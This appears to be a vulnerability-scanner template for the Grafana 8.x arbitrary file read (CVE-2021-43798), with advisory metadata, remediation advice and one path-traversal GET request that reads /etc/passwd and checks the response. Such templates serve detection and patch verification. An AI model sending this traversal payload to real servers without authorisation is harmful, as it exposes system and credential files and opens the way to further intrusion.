id: CVE-2021-43798
info:
name: Grafana v8.x Arbitrary File Read
author: z0ne,dhiyaneshDk
severity: high
description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where
NAME is the plugin ID for any installed plugin.
reference:
- https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
- https://nosec.org/home/detail/4914.html
- https://github.com/jas502n/Grafana-VulnTips
- https://nvd.nist.gov/vuln/detail/CVE-2021-43798
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-43798
cwe-id: CWE-22
remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.
tags: cve,cve2021,grafana,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# Enhanced by mp on 2022/02/28
